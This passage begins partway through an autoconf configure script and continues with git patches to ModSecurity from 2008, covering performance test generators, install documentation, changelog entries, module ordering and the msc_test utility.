>&2;} + { (exit 1); exit 1; }; } + else + ac_delim="$ac_delim!$ac_delim _$ac_delim!! " + fi +done + +ac_eof=`sed -n '/^CEOF[0-9]*$/s/CEOF/0/p' conf$$subs.sed` +if test -n "$ac_eof"; then + ac_eof=`echo "$ac_eof" | sort -nru | sed 1q` + ac_eof=`expr $ac_eof + 1` +fi + +cat >>$CONFIG_STATUS <<_ACEOF +cat >"\$tmp/subs-1.sed" <<\CEOF$ac_eof +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b end +_ACEOF +sed ' +s/[,\\&]/\\&/g; s/@/@|#_!!_#|/g +s/^/s,@/; s/!/@,|#_!!_#|/ +:n +t n +s/'"$ac_delim"'$/,g/; t +s/$/\\/; p +N; s/^.*\n//; s/[,\\&]/\\&/g; s/@/@|#_!!_#|/g; b n +' >>$CONFIG_STATUS <conf$$subs.sed +rm -f conf$$subs.sed +cat >>$CONFIG_STATUS <<_ACEOF +:end +s/|#_!!_#|//g +CEOF$ac_eof +_ACEOF + + +# VPATH may cause trouble with some makes, so we remove $(srcdir), +# ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and +# trailing colons and then remove the whole line if VPATH becomes empty +# (actually we leave an empty line to preserve line numbers). +if test "x$srcdir" = x.; then + ac_vpsub='/^[ ]*VPATH[ ]*=/{ +s/:*\$(srcdir):*/:/ +s/:*\${srcdir}:*/:/ +s/:*@srcdir@:*/:/ +s/^\([^=]*=[ ]*\):*/\1/ +s/:*$// +s/^[^=]*=[ ]*$// +}' +fi + +cat >>$CONFIG_STATUS <<\_ACEOF +fi # test -n "$CONFIG_FILES" + + +for ac_tag in :F $CONFIG_FILES :H $CONFIG_HEADERS +do + case $ac_tag in + :[FHLC]) ac_mode=$ac_tag; continue;; + esac + case $ac_mode$ac_tag in + :[FHL]*:*);; + :L* | :C*:*) { { echo "$as_me:$LINENO: error: Invalid tag $ac_tag." >&5 +echo "$as_me: error: Invalid tag $ac_tag." >&2;} + { (exit 1); exit 1; }; };; + :[FH]-) ac_tag=-:-;; + :[FH]*) ac_tag=$ac_tag:$ac_tag.in;; + esac + ac_save_IFS=$IFS + IFS=: + set x $ac_tag + IFS=$ac_save_IFS + shift + ac_file=$1 + shift + + case $ac_mode in + :L) ac_source=$1;; + :[FH]) + ac_file_inputs= + for ac_f + do + case $ac_f in + -) ac_f="$tmp/stdin";; + *) # Look for the file first in the build tree, then in the source tree + # (if the path is not absolute). The absolute path cannot be DOS-style, + # because $ac_f cannot contain `:'. + test -f "$ac_f" || + case $ac_f in + [\\/$]*) false;; + *) test -f "$srcdir/$ac_f" && ac_f="$srcdir/$ac_f";; + esac || + { { echo "$as_me:$LINENO: error: cannot find input file: $ac_f" >&5 +echo "$as_me: error: cannot find input file: $ac_f" >&2;} + { (exit 1); exit 1; }; };; + esac + ac_file_inputs="$ac_file_inputs $ac_f" + done + + # Let's still pretend it is `configure' which instantiates (i.e., don't + # use $as_me), people would be surprised to read: + # /* config.h. Generated by config.status. */ + configure_input="Generated from "`IFS=: + echo $* | sed 's|^[^:]*/||;s|:[^:]*/|, |g'`" by configure." + if test x"$ac_file" != x-; then + configure_input="$ac_file. $configure_input" + { echo "$as_me:$LINENO: creating $ac_file" >&5 +echo "$as_me: creating $ac_file" >&6;} + fi + + case $ac_tag in + *:-:* | *:-) cat >"$tmp/stdin";; + esac + ;; + esac + + ac_dir=`$as_dirname -- "$ac_file" || +$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$ac_file" : 'X\(//\)[^/]' \| \ + X"$ac_file" : 'X\(//\)$' \| \ + X"$ac_file" : 'X\(/\)' \| . 2>/dev/null || +echo X"$ac_file" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + { as_dir="$ac_dir" + case $as_dir in #( + -*) as_dir=./$as_dir;; + esac + test -d "$as_dir" || { $as_mkdir_p && mkdir -p "$as_dir"; } || { + as_dirs= + while :; do + case $as_dir in #( + *\'*) as_qdir=`echo "$as_dir" | sed "s/'/'\\\\\\\\''/g"`;; #( + *) as_qdir=$as_dir;; + esac + as_dirs="'$as_qdir' $as_dirs" + as_dir=`$as_dirname -- "$as_dir" || +$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_dir" : 'X\(//\)[^/]' \| \ + X"$as_dir" : 'X\(//\)$' \| \ + X"$as_dir" : 'X\(/\)' \| . 2>/dev/null || +echo X"$as_dir" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + test -d "$as_dir" && break + done + test -z "$as_dirs" || eval "mkdir $as_dirs" + } || test -d "$as_dir" || { { echo "$as_me:$LINENO: error: cannot create directory $as_dir" >&5 +echo "$as_me: error: cannot create directory $as_dir" >&2;} + { (exit 1); exit 1; }; }; } + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,/..,g;s,/,,'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + + case $ac_mode in + :F) + # + # CONFIG_FILE + # + + case $INSTALL in + [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; + *) ac_INSTALL=$ac_top_build_prefix$INSTALL ;; + esac +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +# If the template does not know about datarootdir, expand it. +# FIXME: This hack should be removed a few years after 2.60. +ac_datarootdir_hack=; ac_datarootdir_seen= + +case `sed -n '/datarootdir/ { + p + q +} +/@datadir@/p +/@docdir@/p +/@infodir@/p +/@localedir@/p +/@mandir@/p +' $ac_file_inputs` in +*datarootdir*) ac_datarootdir_seen=yes;; +*@datadir@*|*@docdir@*|*@infodir@*|*@localedir@*|*@mandir@*) + { echo "$as_me:$LINENO: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&5 +echo "$as_me: WARNING: $ac_file_inputs seems to ignore the --datarootdir setting" >&2;} +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF + ac_datarootdir_hack=' + s&@datadir@&$datadir&g + s&@docdir@&$docdir&g + s&@infodir@&$infodir&g + s&@localedir@&$localedir&g + s&@mandir@&$mandir&g + s&\\\${datarootdir}&$datarootdir&g' ;; +esac +_ACEOF + +# Neutralize VPATH when `$srcdir' = `.'. +# Shell code in configure.ac might set extrasub. +# FIXME: do we really want to maintain this feature? +cat >>$CONFIG_STATUS <<_ACEOF + sed "$ac_vpsub +$extrasub +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF +:t +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b +s&@configure_input@&$configure_input&;t t +s&@top_builddir@&$ac_top_builddir_sub&;t t +s&@srcdir@&$ac_srcdir&;t t +s&@abs_srcdir@&$ac_abs_srcdir&;t t +s&@top_srcdir@&$ac_top_srcdir&;t t +s&@abs_top_srcdir@&$ac_abs_top_srcdir&;t t +s&@builddir@&$ac_builddir&;t t +s&@abs_builddir@&$ac_abs_builddir&;t t +s&@abs_top_builddir@&$ac_abs_top_builddir&;t t +s&@INSTALL@&$ac_INSTALL&;t t +$ac_datarootdir_hack +" $ac_file_inputs | sed -f "$tmp/subs-1.sed" >$tmp/out + +test -z "$ac_datarootdir_hack$ac_datarootdir_seen" && + { ac_out=`sed -n '/\${datarootdir}/p' "$tmp/out"`; test -n "$ac_out"; } && + { ac_out=`sed -n '/^[ ]*datarootdir[ ]*:*=/p' "$tmp/out"`; test -z "$ac_out"; } && + { echo "$as_me:$LINENO: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined." >&5 +echo "$as_me: WARNING: $ac_file contains a reference to the variable \`datarootdir' +which seems to be undefined. Please make sure it is defined." >&2;} + + rm -f "$tmp/stdin" + case $ac_file in + -) cat "$tmp/out"; rm -f "$tmp/out";; + *) rm -f "$ac_file"; mv "$tmp/out" $ac_file;; + esac + ;; + :H) + # + # CONFIG_HEADER + # +_ACEOF + +# Transform confdefs.h into a sed script `conftest.defines', that +# substitutes the proper values into config.h.in to produce config.h. +rm -f conftest.defines conftest.tail +# First, append a space to every undef/define line, to ease matching. +echo 's/$/ /' >conftest.defines +# Then, protect against being on the right side of a sed subst, or in +# an unquoted here document, in config.status. If some macros were +# called several times there might be several #defines for the same +# symbol, which is useless. But do not sort them, since the last +# AC_DEFINE must be honored. +ac_word_re=[_$as_cr_Letters][_$as_cr_alnum]* +# These sed commands are passed to sed as "A NAME B PARAMS C VALUE D", where +# NAME is the cpp macro being defined, VALUE is the value it is being given. +# PARAMS is the parameter list in the macro definition--in most cases, it's +# just an empty string. +ac_dA='s,^\\([ #]*\\)[^ ]*\\([ ]*' +ac_dB='\\)[ (].*,\\1define\\2' +ac_dC=' ' +ac_dD=' ,' + +uniq confdefs.h | + sed -n ' + t rset + :rset + s/^[ ]*#[ ]*define[ ][ ]*// + t ok + d + :ok + s/[\\&,]/\\&/g + s/^\('"$ac_word_re"'\)\(([^()]*)\)[ ]*\(.*\)/ '"$ac_dA"'\1'"$ac_dB"'\2'"${ac_dC}"'\3'"$ac_dD"'/p + s/^\('"$ac_word_re"'\)[ ]*\(.*\)/'"$ac_dA"'\1'"$ac_dB$ac_dC"'\2'"$ac_dD"'/p + ' >>conftest.defines + +# Remove the space that was appended to ease matching. +# Then replace #undef with comments. This is necessary, for +# example, in the case of _POSIX_SOURCE, which is predefined and required +# on some systems where configure will not decide to define it. +# (The regexp can be short, since the line contains either #define or #undef.) +echo 's/ $// +s,^[ #]*u.*,/* & */,' >>conftest.defines + +# Break up conftest.defines: +ac_max_sed_lines=50 + +# First sed command is: sed -f defines.sed $ac_file_inputs >"$tmp/out1" +# Second one is: sed -f defines.sed "$tmp/out1" >"$tmp/out2" +# Third one will be: sed -f defines.sed "$tmp/out2" >"$tmp/out1" +# et cetera. +ac_in='$ac_file_inputs' +ac_out='"$tmp/out1"' +ac_nxt='"$tmp/out2"' + +while : +do + # Write a here document: + cat >>$CONFIG_STATUS <<_ACEOF + # First, check the format of the line: + cat >"\$tmp/defines.sed" <<\\CEOF +/^[ ]*#[ ]*undef[ ][ ]*$ac_word_re[ ]*\$/b def +/^[ ]*#[ ]*define[ ][ ]*$ac_word_re[( ]/b def +b +:def +_ACEOF + sed ${ac_max_sed_lines}q conftest.defines >>$CONFIG_STATUS + echo 'CEOF + sed -f "$tmp/defines.sed"' "$ac_in >$ac_out" >>$CONFIG_STATUS + ac_in=$ac_out; ac_out=$ac_nxt; ac_nxt=$ac_in + sed 1,${ac_max_sed_lines}d conftest.defines >conftest.tail + grep . conftest.tail >/dev/null || break + rm -f conftest.defines + mv conftest.tail conftest.defines +done +rm -f conftest.defines conftest.tail + +echo "ac_result=$ac_in" >>$CONFIG_STATUS +cat >>$CONFIG_STATUS <<\_ACEOF + if test x"$ac_file" != x-; then + echo "/* $configure_input */" >"$tmp/config.h" + cat "$ac_result" >>"$tmp/config.h" + if diff $ac_file "$tmp/config.h" >/dev/null 2>&1; then + { echo "$as_me:$LINENO: $ac_file is unchanged" >&5 +echo "$as_me: $ac_file is unchanged" >&6;} + else + rm -f $ac_file + mv "$tmp/config.h" $ac_file + fi + else + echo "/* $configure_input */" + cat "$ac_result" + fi + rm -f "$tmp/out12" + ;; + + + esac + + + case $ac_file$ac_mode in + "build/apxs-wrapper":F) chmod +x build/apxs-wrapper ;; + "t/run-tests.pl":F) chmod +x t/run-tests.pl ;; + "t/gen_rx-pm.pl":F) chmod +x t/gen_rx-pm.pl ;; + "../tools/rules-updater.pl":F) chmod +x ../tools/rules-updater.pl ;; + + esac +done # for ac_tag + + +{ (exit 0); exit 0; } +_ACEOF +chmod +x $CONFIG_STATUS +ac_clean_files=$ac_clean_files_save + + +# configure is writing to config.log, and then calls config.status. +# config.status does its own redirection, appending to config.log. +# Unfortunately, on DOS this fails, as config.log is still kept open +# by configure, so config.status won't be able to write to it; its +# output is simply discarded. So we exec the FD to /dev/null, +# effectively closing config.log, so it can be properly (re)opened and +# appended to by config.status. When coming back to configure, we +# need to make the FD available again. +if test "$no_create" != yes; then + ac_cs_success=: + ac_config_status_args= + test "$silent" = yes && + ac_config_status_args="$ac_config_status_args --quiet" + exec 5>/dev/null + $SHELL $CONFIG_STATUS $ac_config_status_args || ac_cs_success=false + exec 5>>config.log + # Use ||, not &&, to avoid exiting from the if with $? = 1, which + # would make configure fail if this is the last instruction. + $ac_cs_success || { (exit 1); exit 1; } +fi + From c63d0ea21a9734072494e68c4dc97e7990eded5b Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Wed, 30 Apr 2008 22:18:04 +0000 Subject: [PATCH 017/110] Update the performance unit test generation example scripts. --- apache2/configure.in | 1 + apache2/t/csv_rx-pm.pl.in | 21 +++++++++++++++ apache2/t/gen_rx-pm.pl.in | 55 +++++++++++++++++++++------------------ 3 files changed, 51 insertions(+), 26 deletions(-) create mode 100755 apache2/t/csv_rx-pm.pl.in diff --git a/apache2/configure.in b/apache2/configure.in index 87fa3da3..29875bc0 100644 --- a/apache2/configure.in +++ b/apache2/configure.in @@ -276,6 +276,7 @@ AC_CONFIG_FILES([build/apxs-wrapper], [chmod +x build/apxs-wrapper]) if test -e "$PERL"; then AC_CONFIG_FILES([t/run-tests.pl], [chmod +x t/run-tests.pl]) AC_CONFIG_FILES([t/gen_rx-pm.pl], [chmod +x t/gen_rx-pm.pl]) + AC_CONFIG_FILES([t/csv_rx-pm.pl], [chmod +x t/csv_rx-pm.pl]) # Perl based tools AC_CONFIG_FILES([../tools/rules-updater.pl], [chmod +x ../tools/rules-updater.pl]) diff --git a/apache2/t/csv_rx-pm.pl.in b/apache2/t/csv_rx-pm.pl.in new file mode 100755 index 00000000..6ea02ce8 --- /dev/null +++ b/apache2/t/csv_rx-pm.pl.in @@ -0,0 +1,21 @@ +#!@PERL@ +# +# Example to generate CSV performance data from test results taken from +# test generated by gen_rx-pm.pl. +# +use strict; + +my %H = (); +while (<>) { + chomp; + my ($op, $label, $n, $i, $value) = (m/\s*\d+\)\s+\S+\s+"([^"]*)"\s+(\S+)\s+(\d+) item\(s\): passed\s+\((\d+)\s+\@\s+([-\+\d\.E]+) msec\s.*/); + + next unless defined($value); + $H{$n}{$label} = $value; + +} + +printf "%s, %s, %s, %s\n", qw(N rx1 rx2 pm1); +for (sort {$a <=> $b} keys %H) { + printf "%s, %s, %s, %s\n", $_, $H{$_}{rx1}, $H{$_}{rx2}, $H{$_}{pm1} +}; diff --git a/apache2/t/gen_rx-pm.pl.in b/apache2/t/gen_rx-pm.pl.in index 7f9fded6..c5e56adb 100755 --- a/apache2/t/gen_rx-pm.pl.in +++ b/apache2/t/gen_rx-pm.pl.in @@ -4,92 +4,95 @@ # use strict; use Regexp::Assemble; - -my $MIN = 1; -my $MAX = 5000; -my $INC = 250; +srand(424242); # We want this static, so we can compare different runs + +my $MIN = $ARGV[0] || 0; +my $MAX = $ARGV[1] || 5000; +my $INC = $ARGV[2] || int($MAX * .05); my $ITERATIONS = 10000; my $MINSTRLEN = 2; my $MAXSTRLEN = 8; -my $last = rndstr(); -my @param = ($last); +my $match = join '', ('a' .. 'z'); +my @param = (); my $i=$MIN; while ($i <= $MAX) { my $ra = Regexp::Assemble->new; + + while (@param < $i) { + unshift @param, rndstr(); + } + $ra->add(@param); printf ( "# rx: %6d\n". "{\n". - " comment => \"%6d item(s)\",\n". + " comment => \"rx1 %6d item(s)\",\n". " type => \"op\",\n". " name => \"rx\",\n". - " param => qr/^(?:%s)\$/,\n". + " param => qr/%s/,\n". " input => \"%s\",\n". - " ret => 1,\n". + " ret => " . (@param ? 0 : 1) . ",". " iterations => %d,\n". "},\n", $i, $i, - join('|', @param), - $last, + (@param ? '(?:' . join('|', @param) . ')' : ""), + $match, $ITERATIONS, ); printf ( "# rx-optimized: %6d\n". "{\n". - " comment => \"%6d item(s)\",\n". + " comment => \"rx2 %6d item(s)\",\n". " type => \"op\",\n". " name => \"rx\",\n". - " param => qr/^(?:%s)\$/,\n". + " param => qr/%s/,\n". " input => \"%s\",\n". - " ret => 1,\n". + " ret => " . (@param ? 0 : 1) . ",". " iterations => %d,\n". "},\n", $i, $i, - $ra->as_string, - $last, + (@param ? $ra->as_string : ""), + $match, $ITERATIONS, ); printf ( "# pm: %6d\n". "{\n". - " comment => \"%6d item(s)\",\n". + " comment => \"pm1 %6d item(s)\",\n". " type => \"op\",\n". " name => \"pm\",\n". " param => \"%s\",\n". " input => \"%s\",\n". - " ret => 1,\n". + " ret => 0,". " iterations => %d,\n". "},\n", $i, $i, - join(' ', @param), - $last, + join(' ', @param ? @param : ("''")), + $match, $ITERATIONS, ); - $i = ($i == 1) ? $INC : $i + $INC; + $i = ($i == $MIN) ? ($i + $INC) - ($i % $INC) : $i + $INC; - while (@param < $i) { - unshift @param, rndstr(); - } } sub rndstr { - my @c=('a'..'z','0'..'9','_'); + my @c = ('a' .. 'z'); my $rndstr; my $max = int(rand($MAXSTRLEN - $MINSTRLEN)) + $MINSTRLEN; foreach (1 .. $max) { $rndstr .= $c[rand @c]; } # We need a string that is not in another string for "last" - if ($last =~ m/$rndstr/) { + if ($match =~ m/$rndstr/) { $rndstr = rndstr(); } return $rndstr; From 248bd0971c417781739f31e0f64d7fb353bd4e1d Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Wed, 30 Apr 2008 22:36:17 +0000 Subject: [PATCH 018/110] Update generated configure. --- apache2/configure | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/apache2/configure b/apache2/configure index 6ebd9658..8d75934d 100755 --- a/apache2/configure +++ b/apache2/configure @@ -5730,6 +5730,8 @@ if test -e "$PERL"; then ac_config_files="$ac_config_files t/gen_rx-pm.pl" + ac_config_files="$ac_config_files t/csv_rx-pm.pl" + # Perl based tools ac_config_files="$ac_config_files ../tools/rules-updater.pl" @@ -6298,6 +6300,7 @@ do "build/apxs-wrapper") CONFIG_FILES="$CONFIG_FILES build/apxs-wrapper" ;; "t/run-tests.pl") CONFIG_FILES="$CONFIG_FILES t/run-tests.pl" ;; "t/gen_rx-pm.pl") CONFIG_FILES="$CONFIG_FILES t/gen_rx-pm.pl" ;; + "t/csv_rx-pm.pl") CONFIG_FILES="$CONFIG_FILES t/csv_rx-pm.pl" ;; "../tools/rules-updater.pl") CONFIG_FILES="$CONFIG_FILES ../tools/rules-updater.pl" ;; "mlogc-src/Makefile") CONFIG_FILES="$CONFIG_FILES mlogc-src/Makefile" ;; @@ -6855,6 +6858,7 @@ echo "$as_me: $ac_file is unchanged" >&6;} "build/apxs-wrapper":F) chmod +x build/apxs-wrapper ;; "t/run-tests.pl":F) chmod +x t/run-tests.pl ;; "t/gen_rx-pm.pl":F) chmod +x t/gen_rx-pm.pl ;; + "t/csv_rx-pm.pl":F) chmod +x t/csv_rx-pm.pl ;; "../tools/rules-updater.pl":F) chmod +x ../tools/rules-updater.pl ;; esac From e74a1711721e4d01f03e975be3fd4d1c167e9a79 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Thu, 8 May 2008 21:59:37 +0000 Subject: [PATCH 020/110] Update docs to show Lua as optional in the install instructions. --- doc/modsecurity2-apache-reference.xml | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 36b5ef84..d69256e6 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -270,11 +270,16 @@ </listitem> <listitem> - <para>Install the latest version of Lua in the 5.1.x branch, if it - isn't already installed on the server.</para> + <para>Optionally install the latest version of Lua in the 5.1.x + branch, if it isn't already installed on the server and you will be + using the new Lua engine.</para> <para><ulink type="" url="http://www.lua.org/download.html">http://www.lua.org/download.html</ulink></para> + + <para>Note that ModSecurity requires the dynamic libraries. These are + not built by default in the source distribution, so the binary + distribution is recommended.</para> </listitem> <listitem> From ec19e251719c037821c79dd42b59978a4fb96393 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 9 May 2008 15:48:57 +0000 Subject: [PATCH 021/110] Update changes with 2.5.4 release. --- CHANGES | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/CHANGES b/CHANGES index c4c65f53..72b9242f 100644 --- a/CHANGES +++ b/CHANGES @@ -1,3 +1,10 @@ +07 May 2008 - 2.5.4 +------------------- + + * Fixed issue where transformation cache was using the SecDefaultAction + value even when t:none was used within a rule. + + 24 Apr 2008 - 2.5.3 ------------------- From 8f7b861d943a45607936877f4cc61ed614d462b0 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 9 May 2008 15:50:17 +0000 Subject: [PATCH 022/110] Added mod_rpaf-2.0 and mod_custom_header to the beforeme list. --- CHANGES | 7 +++++++ apache2/mod_security2.c | 2 ++ 2 files changed, 9 insertions(+) diff --git a/CHANGES b/CHANGES index 72b9242f..c98b6f83 100644 --- a/CHANGES +++ b/CHANGES @@ -1,3 +1,10 @@ +09 May 2008 - trunk +------------------- + +* Force modules "mod_rpaf-2.0.c" and "mod_custom_header.c" to run before + ModSecurity so that the correct IP is used. + + 07 May 2008 - 2.5.4 ------------------- diff --git a/apache2/mod_security2.c b/apache2/mod_security2.c index ed9fbf41..c26e37c0 100644 --- a/apache2/mod_security2.c +++ b/apache2/mod_security2.c @@ -1057,7 +1057,9 @@ static void register_hooks(apr_pool_t *mp) { }; static const char *postread_beforeme_list[] = { "mod_rpaf.c", + "mod_rpaf-2.0.c", "mod_extract_forwarded2.c", + "mod_custom_header.c", "mod_breach_realip.c", "mod_breach_trans.c", "mod_unique_id.c", From 5f6cb3aea9fb83a7ef460185f155bcf61e15d492 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Tue, 13 May 2008 00:03:15 +0000 Subject: [PATCH 023/110] Update msc_test with -N, better error support and support for actions. --- apache2/Makefile.in | 4 +- apache2/msc_test.c | 102 ++++++++++++++++++++++++++++++-------------- 2 files changed, 72 insertions(+), 34 deletions(-) diff --git a/apache2/Makefile.in b/apache2/Makefile.in index a818426c..46de9ae6 100644 --- a/apache2/Makefile.in +++ b/apache2/Makefile.in @@ -92,7 +92,7 @@ mod_security2.la: $(MOD_SECURITY2_H) *.c for f in $(MOD_SECURITY2); do \ src="$$src $$f.c"; \ done; \ - rm -f msc_test; \ + rm -f msc_test msc_test.o msc_test.lo msc_test.slo; \ $(COMPILE_APACHE_MOD) $(APXS_EXTRA_CFLAGS) $(MODSEC_APXS_EXTRA_CFLAGS) $$src ### MLogC @@ -117,7 +117,7 @@ msc_test.lo: msc_test.c $(LIBTOOL) --mode=compile $(CC) $(APXS_INCLUDES) $(APXS_CFLAGS) $(EXTRA_CFLAGS) $(MODSEC_EXTRA_CFLAGS) $(CPPFLAGS) $(APR_CFLAGS) $(APU_CFLAGS) -o msc_test.lo -c msc_test.c msc_test: $(TESTOBJS) $(MOD_SECURITY2_H}) msc_test.lo - @objs=""; \ + objs=""; \ for f in $(MSC_TEST); do \ objs="$$objs $$f.lo"; \ done; \ diff --git a/apache2/msc_test.c b/apache2/msc_test.c index 0d59765a..d41281a5 100644 --- a/apache2/msc_test.c +++ b/apache2/msc_test.c @@ -25,7 +25,7 @@ #define RESULT_WRONGSIZE -3 #define RESULT_WRONGRET -4 -#define CMDLINE_OPTS "t:n:p:P:r:I:D:h" +#define CMDLINE_OPTS "t:n:p:P:r:I:D:Nh" /* Types */ typedef struct tfn_data_t tfn_data_t; @@ -86,7 +86,10 @@ int apache2_exec(modsec_rec *msr, const char *command, const char **argv, char * } char *get_apr_error(apr_pool_t *p, apr_status_t rc) { - return "FAKE APR ERROR"; + char *text = apr_pcalloc(p, 201); + if (text == NULL) return NULL; + apr_strerror(rc, text, 200); + return text; } void msr_log(modsec_rec *msr, int level, const char *text, ...) { @@ -108,7 +111,7 @@ void msr_log(modsec_rec *msr, int level, const char *text, ...) { if (msr->txcfg->debuglog_fd != NULL) { apr_size_t nbytes_written = 0; apr_vsnprintf(str1, sizeof(str1), text, ap); - apr_snprintf(str2, sizeof(str2), "[%d] [%s] %s\n", level, test_name, str1); + apr_snprintf(str2, sizeof(str2), "%lu: [%d] [%s] %s\n", (unsigned long)getpid(), level, test_name, str1); apr_file_write_full(msr->txcfg->debuglog_fd, str2, strlen(str2), &nbytes_written); } @@ -456,9 +459,10 @@ static void init_msr() { g_msr->request_headers = NULL; g_msr->hostname = "localhost"; g_msr->msc_rule_mptmp = g_mp; - g_msr->tx_vars = apr_table_make(g_mp, 10); - g_msr->collections = apr_table_make(g_mp, 10); - g_msr->collections_dirty = apr_table_make(g_mp, 10); + g_msr->tx_vars = apr_table_make(g_mp, 1); + g_msr->collections_original = apr_table_make(g_mp, 1); + g_msr->collections = apr_table_make(g_mp, 1); + g_msr->collections_dirty = apr_table_make(g_mp, 1); } /** @@ -476,7 +480,10 @@ static void usage() { fprintf(stderr, " -r Function return code (required for some types)\n"); fprintf(stderr, " -I Iterations (default 1)\n"); fprintf(stderr, " -D Debug log level (default 0)\n"); + fprintf(stderr, " -N No input on stdin.\n\n"); fprintf(stderr, " -h This help\n\n"); + fprintf(stderr, "\n"); + fprintf(stderr, "Input is from stdin unless -N is used.\n"); } @@ -499,6 +506,7 @@ int main(int argc, const char * const argv[]) apr_size_t param_len = 0; apr_size_t prerun_len = 0; apr_size_t out_len = 0; + int noinput = 0; int rc = 0; int result = 0; int ec = 0; @@ -558,6 +566,9 @@ int main(int argc, const char * const argv[]) case 'D': debuglog_level = atoi(val); break; + case 'N': + noinput = 1; + break; case 'h': usage(); exit(0); @@ -579,26 +590,28 @@ int main(int argc, const char * const argv[]) modsecurity = modsecurity_create(g_mp, MODSEC_OFFLINE); test_name = apr_psprintf(g_mp, "%s/%s", type, name); - if (apr_file_open_stdin(&fd, g_mp) != APR_SUCCESS) { - fprintf(stderr, "Failed to open stdin\n"); - exit(1); - } + if (noinput == 0) { + if (apr_file_open_stdin(&fd, g_mp) != APR_SUCCESS) { + fprintf(stderr, "Failed to open stdin\n"); + exit(1); + } - /* Read in the input */ - nbytes = BUFLEN; - memset(buf, 0, nbytes); - rc = apr_file_read(fd, buf, &nbytes); - if ((rc != APR_EOF) && (rc != APR_SUCCESS)) { - fprintf(stderr, "Failed to read data\n"); - exit(1); - } + /* Read in the input */ + nbytes = BUFLEN; + memset(buf, 0, nbytes); + rc = apr_file_read(fd, buf, &nbytes); + if ((rc != APR_EOF) && (rc != APR_SUCCESS)) { + fprintf(stderr, "Failed to read data\n"); + exit(1); + } - if (nbytes < 0) { - fprintf(stderr, "Error reading data\n"); - exit(1); - } + if (nbytes < 0) { + fprintf(stderr, "Error reading data\n"); + exit(1); + } - apr_file_close(fd); + apr_file_close(fd); + } if (strcmp("tfn", type) == 0) { ret = returnval ? atoi(returnval) : -8888; @@ -759,12 +772,9 @@ int main(int argc, const char * const argv[]) } if (result != RESULT_SUCCESS) { - apr_size_t s0len = nbytes; - const char *s0 = escape(buf, &s0len); - - fprintf(stderr, " Test: '@%s %s'\n" - "Input: '%s' len=%" APR_SIZE_T_FMT "\n", - name, param, s0, nbytes); + fprintf(stderr, " Test: '%s:%s'\n" + "Prerun: '%s'\n", + name, param, (prerun ? (const char *)prerun : "")); ec = 1; } @@ -773,14 +783,42 @@ int main(int argc, const char * const argv[]) te = (apr_table_entry_t *)arr->elts; for (n = 0; n < arr->nelts; n++) { apr_table_t *col = (apr_table_t *)te[n].val; +// apr_table_t *orig_col = NULL; - msr_log(g_msr, 9, "Found loaded collection: %s", te[n].key); + if (g_msr->txcfg->debuglog_level >= 9) { + msr_log(g_msr, 9, "Found loaded collection: %s", te[n].key); + } /* Only store those collections that changed. */ if (apr_table_get(g_msr->collections_dirty, te[n].key)) { - msr_log(g_msr, 9, "Storing collection: %s", te[n].key); - collection_store(g_msr, col); + int x = collection_store(g_msr, col); + + if (g_msr->txcfg->debuglog_level >= 9) { + msr_log(g_msr, 9, "Stored collection: %s (%d)", te[n].key, x); 